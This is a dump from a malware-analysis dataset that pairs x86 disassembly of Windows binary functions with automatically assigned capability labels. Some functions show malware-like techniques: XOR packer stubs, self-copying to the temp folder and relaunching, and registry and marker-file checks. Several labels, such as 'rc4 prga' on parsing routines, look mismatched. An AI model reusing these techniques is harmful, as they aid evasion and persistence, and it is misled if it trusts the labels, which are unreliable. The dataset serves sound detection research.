joyce8/EMBER2024-capa huggingface dataset:
Function at 0x42ee70
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x30
mov edx, dword [ebp + 0xc]
mov ebx, dword [edx + 0xc]
mov eax, dword [edx + 8]
test ebx, ebx
je 0x42eea4
movzx ecx, byte [eax]
lea esi, [ebx - 1]
lea edi, [eax + 1]
mov dword [esp + 8], 0
cmp ecx, 0x2b
je 0x42eeb0
cmp ecx, 0x2d
je 0x42eeb0
mov cl, 1
mov esi, ebx
mov edi, eax
mov dword [esp + 8], ecx
xor ecx, ecx
mov eax, dword [ebp + 8]
cmp esi, 3
mov ebx, 3
cmovb ebx, esi
test esi, esi
je 0x42eee8
mov dword [esp + 0xc], ecx
xor ecx, ecx
nop dword [eax + eax]
movzx edx, byte [ecx + str.infnan]
cmp dl, byte [edi + ecx]
jne 0x42eef3
inc ecx
cmp ebx, ecx
jne 0x42eed0
cmp esi, 3
jae 0x42eefc
jmp 0x42ef20
mov dword [edx + 8], edi
mov dword [edx + 0xc], esi
jmp 0x42ef97
cmp esi, 3
jb 0x42ef20
cmp ecx, ebx
jb 0x42ef20
mov ecx, dword [ebp + 0xc]
movsd xmm0, qword [0x45ffe0]
add edi, 3
add esi, 0xfffffffd
mov dword [ecx + 8], edi
mov dword [ecx + 0xc], esi
cmp byte [esp + 8], 0
mov ecx, dword [esp + 0xc]
je 0x42ef76
jmp 0x42ef8a
mov ecx, dword [ebp + 0xc]
test esi, esi
mov dword [ecx + 8], edi
mov dword [ecx + 0xc], esi
je 0x42ef97
xor ecx, ecx
nop
movzx edx, byte [ecx + 0x462017]
cmp dl, byte [edi + ecx]
jne 0x42ef4b
inc ecx
cmp ebx, ecx
jne 0x42ef30
mov edx, dword [ebp + 0xc]
cmp esi, 3
jae 0x42ef57
jmp 0x42ef97
mov edx, dword [ebp + 0xc]
cmp esi, 3
jb 0x42ef97
cmp ecx, ebx
jb 0x42ef97
movsd xmm0, qword [0x461d38]
add edi, 3
add esi, 0xfffffffd
mov dword [edx + 8], edi
mov dword [edx + 0xc], esi
cmp byte [esp + 8], 0
mov ecx, dword [esp + 0xc]
jne 0x42ef8a
cmp cl, 0x2b
je 0x42ef8a
movzx ecx, cl
cmp ecx, 0x2d
jne 0x42efd5
xorps xmm0, xmmword [0x45fff0]
movsd qword [eax + 8], xmm0
mov dword [eax], 3
jmp 0x42efcd
mov dword [esp + 0x10], 4
mov dword [esp + 0x14], 0
mov dword [eax], 1
mov dword [eax + 4], 0
movsd xmm0, qword [esp + 0x10]
movsd qword [eax + 8], xmm0
mov dword [eax + 0x14], 0
mov dword [eax + 0x10], 0
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
lea eax, [esp + 4]
mov dword [esp + 0x10], 0x461f88
mov dword [esp + 0x14], 1
mov dword [esp + 0x20], 0
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], 0
lea eax, [esp + 0x10]
push 0x462004
push eax
call fcn.0045db00
int3
Function at 0x438ea0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x438
mov dword [ebp - 0x1c], esp
mov dword [ebp - 0x10], 0xffffffff
mov dword [ebp - 0x14], 0x445550
mov edi, 0x200
lea eax, [ebp - 0x18]
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x2c], 2
mov ecx, dword fs:[0]
mov dword [ebp - 0x18], ecx
mov dword fs:[0], eax
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 2
mov dword [ebp - 0x20], 0
cmp edi, 0x201
jae 0x438f30
jmp 0x438f1e
jbe 0x438fb6
cmp edi, 0x201
jae 0x438f30
mov dword [ebp - 0x30], 0x200
lea ebx, [ebp - 0x444]
mov esi, edi
jmp 0x438f61
mov esi, dword [ebp - 0x34]
sub edi, esi
je 0x438f55
mov dword [ebp - 0x10], 0
lea ecx, [ebp - 0x28]
mov edx, esi
push edi
call fcn.0045cdf0
add esp, 4
mov esi, dword [ebp - 0x28]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x2c], eax
mov ebx, dword [ebp - 0x2c]
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x34], esi
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov edi, eax
test eax, eax
jne 0x438f85
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x439019
cmp edi, esi
jne 0x438f10
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x439038
lea edi, [esi + esi]
test esi, esi
mov eax, 0xffffffff
cmovs edi, eax
cmp edi, 0x201
jb 0x438f1e
jmp 0x438f30
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x10], 0
cmp edi, eax
ja 0x439055
lea eax, [ebp - 0x44]
push edi
push ebx
push eax
call fcn.0043ba20
add esp, 0xc
movsd xmm0, qword [ebp - 0x44]
mov esi, dword [ebp + 8]
movsd xmm1, qword [ebp - 0x3c]
movsd qword [esi + 8], xmm1
movsd qword [esi], xmm0
mov eax, dword [ebp - 0x28]
test eax, eax
je 0x439003
add eax, eax
push 2
push eax
push dword [ebp - 0x24]
call fcn.0040b8d0
add esp, 0xc
mov eax, dword [ebp - 0x18]
mov dword fs:[0], eax
mov eax, esi
add esp, 0x438
pop esi
pop edi
pop ebx
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, dword [ebp + 8]
mov byte [esi + 4], 0
mov dword [esi + 8], eax
mov dword [esi], 0x80000000
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x438ff3
jmp 0x439003
mov dword [ebp - 0x10], 0
push 0x4658bc
push 0x28
push str.internal_error:_entered_unreachable_code_rustc_3f5fd8dd41153bc5fdca9427e9e05be2c767ba23library_alloc_src_vecmod.rs_F
call fcn.0045dbd0
add esp, 0xc
jmp 0x439064
push 0x4658ac
push eax
push edi
call fcn.0045df10
add esp, 0xc
ud2
Function at 0x43c260
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0xc
mov dword [ebp - 0x14], ecx
mov ecx, edx
mov edi, edx
call fcn.0043bcd0
mov ecx, dword [edi + 4]
cmp eax, ecx
ja 0x43c37b
mov edx, dword [edi]
mov ebx, edx
lea esi, [edx + eax]
movzx edx, byte [edi + 8]
mov edi, eax
sub edi, ecx
mov byte [ebp - 0xd], dl
jne 0x43c2a7
mov ebx, dword [ebp - 0x14]
xor edi, edi
movzx edx, byte [ebp - 0xd]
sub ecx, eax
jne 0x43c323
jmp 0x43c301
cmp dl, 3
mov dword [ebp - 0x18], esi
jae 0x43c2cf
mov edx, ebx
lea esi, [ecx + ebx - 1]
mov ebx, dword [ebp - 0x14]
mov edi, eax
sub edi, ecx
nop dword [eax]
cmp byte [esi], 0x5c
je 0x43c365
dec esi
inc edi
jne 0x43c2c0
jmp 0x43c2f4
mov edx, ebx
lea esi, [ecx + ebx - 1]
nop word cs:[eax + eax]
nop
movzx ebx, byte [esi]
cmp ebx, 0x2f
je 0x43c305
cmp ebx, 0x5c
je 0x43c305
dec esi
inc edi
jne 0x43c2e0
mov ebx, dword [ebp - 0x14]
mov esi, dword [ebp - 0x18]
xor edi, edi
movzx edx, byte [ebp - 0xd]
sub ecx, eax
jne 0x43c323
mov al, 0xa
jmp 0x43c350
mov ebx, dword [ebp - 0x14]
not edi
lea eax, [eax + edi + 1]
cmp eax, ecx
ja 0x43c36f
add edx, eax
mov edi, 1
mov esi, edx
movzx edx, byte [ebp - 0xd]
sub ecx, eax
je 0x43c301
mov al, 9
cmp ecx, 2
je 0x43c342
cmp ecx, 1
jne 0x43c350
cmp byte [esi], 0x2e
jne 0x43c350
xor eax, eax
cmp dl, 3
setae al
lea eax, [eax + eax*2 + 7]
jmp 0x43c350
cmp byte [esi], 0x2e
jne 0x43c350
cmp byte [esi + 1], 0x2e
sete al
xor al, 9
add edi, ecx
mov dword [ebx], edi
mov byte [ebx + 4], al
mov dword [ebx + 8], esi
mov dword [ebx + 0xc], ecx
add esp, 0xc
pop esi
pop edi
pop ebx
pop ebp
ret
not edi
lea eax, [eax + edi + 1]
cmp eax, ecx
jbe 0x43c312
push 0x464924
push ecx
push eax
call fcn.0045deb0
push 0x464934
push ecx
push eax
call fcn.0045deb0
int3
Function at 0x442150
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x40
mov esi, ecx
mov ecx, dword [ebp + 0xc]
cmp dword [ebp + 0x10], 0
mov edi, edx
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x103
je 0x442194
mov eax, dword [ebp + 0x1c]
mov ebx, dword [ebp + 0x18]
lea edx, [esp + 0x20]
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], eax
xor eax, eax
mov ebx, 1
jmp 0x44219a
xor ebx, ebx
xor eax, eax
xor edx, edx
mov dword [esp + 0x1c], eax
lea eax, [esp + 8]
mov dword [esp + 0x18], ebx
push 0
push edx
push ecx
push dword [ebp + 8]
push eax
push 0
push 0
push 0
push edi
call dword [sym.imp.ntdll.dll_NtReadFile]
cmp eax, 0x103
jne 0x4421cf
push 0xffffffffffffffff
push edi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [esp + 8]
cmp eax, 0xc0000011
jne 0x4421df
mov dword [esi + 4], 0
jmp 0x4421f1
cmp eax, 0x103
je 0x44220b
test eax, eax
js 0x4421fc
mov eax, dword [esp + 0xc]
mov dword [esi + 4], eax
mov byte [esi], 4
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
push eax
call dword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
mov byte [esi], 0
mov dword [esi + 4], eax
jmp 0x4421f4
lea eax, [esp + 4]
mov dword [esp + 0x18], 0x465378
mov dword [esp + 0x1c], 1
mov dword [esp + 0x28], 0
mov dword [esp + 0x10], 0
mov byte [esp + 0x14], 0
lea ecx, [esp + 0x10]
lea esi, [esp + 0x34]
mov dword [esp + 0x20], eax
lea eax, [esp + 0x18]
mov dword [esp + 0x24], 0
push eax
push ecx
push esi
call fcn.0043b320
add esp, 0xc
mov ecx, esi
call fcn.004365c0
mov ecx, 7
int 0x29
ud2

Function at 0x442270
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x40
mov esi, ecx
mov ecx, dword [ebp + 0xc]
cmp dword [ebp + 0x10], 0
mov edi, edx
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x103
je 0x4422b4
mov eax, dword [ebp + 0x1c]
mov ebx, dword [ebp + 0x18]
lea edx, [esp + 0x20]
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], eax
xor eax, eax
mov ebx, 1
jmp 0x4422ba
xor ebx, ebx
xor eax, eax
xor edx, edx
mov dword [esp + 0x1c], eax
lea eax, [esp + 8]
mov dword [esp + 0x18], ebx
push 0
push edx
push ecx
push dword [ebp + 8]
push eax
push 0
push 0
push 0
push edi
call dword [sym.imp.ntdll.dll_NtWriteFile]
cmp eax, 0x103
jne 0x4422f6
push 0xffffffffffffffff
push edi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [esp + 8]
cmp eax, 0x103
je 0x442318
test eax, eax
js 0x442302
mov eax, dword [esp + 0xc]
mov bl, 4
jmp 0x44230b
xor ebx, ebx
push eax
call dword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
mov dword [esi + 4], eax
mov byte [esi], bl
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
lea eax, [esp + 4]
mov dword [esp + 0x18], 0x465378
mov dword [esp + 0x1c], 1
mov dword [esp + 0x28], 0
mov dword [esp + 0x10], 0
mov byte [esp + 0x14], 0
lea ecx, [esp + 0x10]
lea esi, [esp + 0x34]
mov dword [esp + 0x20], eax
lea eax, [esp + 0x18]
mov dword [esp + 0x24], 0
push eax
push ecx
push esi
call fcn.0043b320
add esp, 0xc
mov ecx, esi
call fcn.004365c0
mov ecx, 7
int 0x29
ud2
Function at 0x4548f0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
mov eax, dword [ebp + 8]
test eax, eax
je 0x454948
lea edi, [edx + eax*2]
xor ebx, ebx
movzx esi, byte [edx + 1]
cmp byte [edx], ch
lea edx, [edx + 2]
lea eax, [ebx + esi]
jne 0x454940
cmp ebx, eax
ja 0x4549b6
cmp eax, dword [ebp + 0x10]
ja 0x4549c2
add ebx, dword [ebp + 0xc]
nop word cs:[eax + eax]
nop
test esi, esi
je 0x454942
dec esi
cmp byte [ebx], cl
lea ebx, [ebx + 1]
jne 0x454930
jmp 0x45499f
ja 0x454948
cmp edx, edi
mov ebx, eax
jne 0x454902
mov edx, dword [ebp + 0x18]
test edx, edx
je 0x4549a3
mov esi, dword [ebp + 0x14]
movzx ecx, cx
mov al, 1
add edx, esi
nop dword [eax]
movzx ebx, byte [esi]
lea edi, [esi + 1]
test bl, bl
js 0x454980
mov esi, edi
sub ecx, ebx
jns 0x454997
jmp 0x4549a5
cmp edi, edx
je 0x4549ac
movzx edi, byte [esi + 1]
and ebx, 0x7f
add esi, 2
shl ebx, 8
or ebx, edi
sub ecx, ebx
js 0x4549a5
xor al, 1
cmp esi, edx
jne 0x454960
jmp 0x4549a5
xor eax, eax
jmp 0x4549a5
mov al, 1
and al, 1
pop esi
pop edi
pop ebx
pop ebp
ret
push 0x4687c0
call fcn.0045da90
push 0x4687d0
push eax
push ebx
call fcn.0045df70
push 0x4687d0
push dword [ebp + 0x10]
push eax
call fcn.0045df10

Function at 0x4575a4
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4575e3
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4575e3
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4575e3
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4575e3
cmp dword [ecx + 0x74], 0xe
jbe 0x4575e3
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x45b6d0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x45b6fd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x45b6fd
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x1bc5efe
Capabilities:
Encode data using xor

Disassembly:
test dx, 0x9173
lea esp, [esp + 0x28]
jae 0x1dec347
repne scasb al, byte es:[edi]
call fcn.02110ed4
sahf
pop ebx
hlt
test dx, dx
bt esi, 5
pushfd
repne scasb al, byte es:[edi]
jmp fcn.01deb102
Function at 0x431001
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
push 4
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x431072
nop
mov ebx, 0x40915c
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x3d90388
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x431060
nop
nop
mov eax, section..data
nop
cmp eax, 0
nop
nop
nop
nop
je 0x4310d2
nop
nop
nop
mov ebx, 0x42f3f8
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x1f7178d8
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x4310c0
nop
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40de38
nop
mov ecx, 0x22682709
nop
nop
nop
nop
test eax, eax
je 0x43304e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x433024
nop
mov eax, section..data
mov ebx, 0x4304d8
nop
nop
mov ecx, 0x14964216
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x433084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x43306c
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x4010f0
Capabilities:
Create thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x43af16
mov eax, dword fs:[0]
push eax
sub esp, 0x178
mov eax, dword [0x44c7f0]
xor eax, esp
mov dword [esp + 0x170], eax
push ebx
push esi
push edi
mov eax, dword [0x44c7f0]
xor eax, esp
push eax
lea eax, [esp + 0x188]
mov dword fs:[0], eax
mov esi, ecx
lea ecx, [esp + 0x1c]
call fcn.00403a9b
xor ebx, ebx
mov dword [esp + 0x1c], vtable.CCustomCommandLineInfo.0
mov dword [esp + 0x44], ebx
mov dword [esp + 0x48], ebx
lea eax, [esp + 0x1c]
push eax
mov ecx, esi
mov dword [esp + 0x194], ebx
call fcn.00402fa7
call fcn.00401850
test al, al
je 0x401171
push 3
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
cmp dword [esp + 0x48], ebx
jne 0x40117c
call fcn.00401b50
call fcn.004012b0
mov eax, dword [esp + 0x44]
cmp eax, ebx
jne 0x401196
call fcn.00401710
push 5
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
mov edi, dword [sym.imp.KERNEL32.DLL_CreateThread]
push ebx
push ebx
push eax
push 0x4015a0
push ebx
push ebx
call edi
push ebx
push ebx
push ebx
push 0x401960
push ebx
push ebx
call edi
lea ecx, [esp + 0x14]
push ecx
mov dword [esp + 0x18], 8
mov dword [esp + 0x1c], 0xff
call dword [sym.imp.COMCTL32.dll_InitCommonControlsEx]
mov ecx, esi
call fcn.00403438
push ebx
call fcn.0040527c
add esp, 4
push str.Local_AppWizard_Generated_Applications
mov ecx, esi
call fcn.004057b8
lea edx, [esp + 0x4c]
push edx
call fcn.00401fd0
lea eax, [esp + 0x4c]
mov byte [esp + 0x190], 1
mov ecx, eax
mov dword [esi + 0x20], eax
call fcn.00406146
lea esi, [esp + 0x4c]
mov byte [esp + 0x190], bl
call fcn.00401260
mov dword [esp + 0x190], 0xffffffff
lea ecx, [esp + 0x1c]
mov dword [esp + 0x1c], vtable.CCustomCommandLineInfo.0
call fcn.00403adf
xor eax, eax
mov ecx, dword [esp + 0x188]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x170]
xor ecx, esp
call fcn.004238d6
mov esp, ebp
pop ebp
ret
Function at 0x401710
Capabilities:
Create process on windows
Get common file path

Disassembly:
sub esp, 0x324
mov eax, dword [0x44c7f0]
xor eax, esp
mov dword [esp + 0x31c], eax
push ebx
push ebp
push esi
push edi
push 0x1f4
lea eax, [esp + 0x134]
push 0
push eax
call fcn.00425200
push 0xc8
lea ecx, [esp + 0x78]
push 0
push ecx
call fcn.00425200
add esp, 0x18
lea edx, [esp + 0x68]
push edx
push 0xc7
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
test eax, eax
je 0x401837
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
lea ecx, [esp + 0x68]
dec ecx
mov dl, byte [ecx + 1]
inc ecx
test dl, dl
jne 0x401773
mov edx, dword [str.file_4632.exe]
mov dword [ecx], edx
mov edx, dword [0x4421bc]
mov dword [ecx + 4], edx
mov edx, dword [0x4421c0]
push eax
mov dword [ecx + 8], edx
mov dx, word [0x4421c4]
lea eax, [esp + 0x6c]
push eax
mov word [ecx + 0xc], dx
lea ecx, [esp + 0x138]
push str.__s___m2__p_d
push ecx
call fcn.00423d9e
mov edi, dword [sym.imp.KERNEL32.DLL_CreateProcessA]
mov ebx, dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
mov ebp, dword [sym.imp.KERNEL32.DLL_CloseHandle]
add esp, 0x10
push 0x44
lea edx, [esp + 0x24]
push 0
push edx
call fcn.00425200
add esp, 0xc
xor eax, eax
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x24]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
lea edx, [esp + 0x150]
push edx
lea eax, [esp + 0x8c]
push eax
mov dword [esp + 0x48], 0x44
call edi
mov eax, dword [esp + 0x10]
push 0xffffffffffffffff
push eax
mov esi, eax
call ebx
push esi
call ebp
call fcn.00401850
test al, al
je 0x4017cd
mov ecx, dword [esp + 0x32c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.004238d6
add esp, 0x324
ret
Function at 0x401850
Capabilities:
Get common file path
Query or enumerate registry value

Disassembly:
sub esp, 0xe8
mov eax, dword [0x44c7f0]
xor eax, esp
mov dword [esp + 0xe4], eax
push esi
lea eax, [esp + 0x20]
push eax
push 0xc7
mov dword [esp + 0x10], 0xc8
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
test eax, eax
je 0x4018b5
push edi
lea edi, [esp + 0x24]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x401887
mov ecx, 5
mov esi, str.stop593985jdfkdfj2.txt
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea ecx, [esp + 0x24]
push 0x4421f0
push ecx
movsb byte es:[edi], byte [esi]
call fcn.00423f1e
add esp, 8
pop edi
test eax, eax
jne 0x401917
lea edx, [esp + 4]
push edx
push 3
push 0
push str.SoftwareMicrosoftActiveMovie
push SysReAllocStringLen
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov edx, dword [esp + 4]
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea eax, [esp + 8]
push eax
lea ecx, [esp + 0x10]
push ecx
push 0
push 0
push str.sysVal21
push edx
call esi
mov edx, dword [esp + 4]
lea eax, [esp + 8]
push eax
lea ecx, [esp + 0x10]
push ecx
push 0
push 0
push str.sysVal21
push edx
call esi
test eax, eax
jne 0x40192f
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, 1
pop esi
mov ecx, dword [esp + 0xe4]
xor ecx, esp
call fcn.004238d6
add esp, 0xe8
ret
mov ecx, dword [esp + 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0xe8]
pop esi
xor ecx, esp
xor al, al
call fcn.004238d6
add esp, 0xe8
ret
Function at 0x401b50
Capabilities:
Copy file
Create process on windows
Create thread
Delete file
Get common file path
Terminate process

Disassembly:
sub esp, 0x4b4
mov eax, dword [0x44c7f0]
xor eax, esp
mov dword [esp + 0x4ac], eax
push esi
push edi
push 0x44
lea eax, [esp + 0x1c]
push 0
push eax
call fcn.00425200
xor eax, eax
add esp, 0xc
push eax
push eax
push eax
push 0x401a40
push eax
push eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], 0x44
call dword [sym.imp.KERNEL32.DLL_CreateThread]
push 0xc8
lea ecx, [esp + 0x12c]
push 0
push ecx
mov edi, eax
call fcn.00425200
push 0x1f4
lea edx, [esp + 0x2c8]
push 0
push edx
call fcn.00425200
push 0xc8
lea eax, [esp + 0x7c]
push 0
push eax
call fcn.00425200
add esp, 0x24
push 0xc8
lea ecx, [esp + 0x12c]
push ecx
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
lea edx, [esp + 0x60]
push edx
push 0xc7
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
test eax, eax
je 0x401ce8
lea eax, [esp + 0x60]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x401c11
mov ecx, dword [str.file_4632.exe]
mov edx, dword [0x4421bc]
mov dword [eax], ecx
mov ecx, dword [0x4421c0]
mov dword [eax + 4], edx
mov dx, word [0x4421c4]
mov dword [eax + 8], ecx
mov word [eax + 0xc], dx
lea eax, [esp + 0x60]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
push 1
lea ecx, [esp + 0x64]
push ecx
lea edx, [esp + 0x130]
push edx
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
lea eax, [esp + 0x60]
push eax
lea ecx, [esp + 0x2bc]
push str.__s___m2
push ecx
call fcn.00423d9e
add esp, 0xc
lea edx, [esp + 8]
push edx
lea eax, [esp + 0x1c]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea ecx, [esp + 0x2d8]
push ecx
lea edx, [esp + 0x84]
push edx
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
call dword [sym.imp.KERNEL32.DLL_GetLastError]
mov esi, eax
test esi, esi
je 0x401cd7
push 0xc8
lea eax, [esp + 0x1f4]
push 0
push eax
call fcn.00425200
push 0xa
lea ecx, [esp + 0x200]
push ecx
push esi
call fcn.004396bc
add esp, 0x18
push 0xffffffffffffffff
push edi
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
push 3
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
mov ecx, dword [esp + 0x4b4]
pop edi
pop esi
xor ecx, esp
call fcn.004238d6
add esp, 0x4b4
ret

Function at 0x402610
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push edi
mov edi, dword [esp + 0x10]
push edi
push ebx
call dword [sym.imp.KERNEL32.DLL_LoadResource]
test eax, eax
jne 0x402629
pop edi
pop ebx
ret
push esi
push eax
call dword [sym.imp.KERNEL32.DLL_LockResource]
mov esi, eax
test esi, esi
je 0x402664
push edi
push ebx
call dword [sym.imp.KERNEL32.DLL_SizeofResource]
mov ecx, dword [esp + 0x18]
add eax, esi
and ecx, 0xf
jbe 0x402660
lea ebx, [ebx]
cmp esi, eax
jae 0x402664
sub ecx, 1
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x402650
cmp esi, eax
jb 0x40266a
pop esi
pop edi
xor eax, eax
pop ebx
ret
movzx eax, word [esi]
neg eax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebx
ret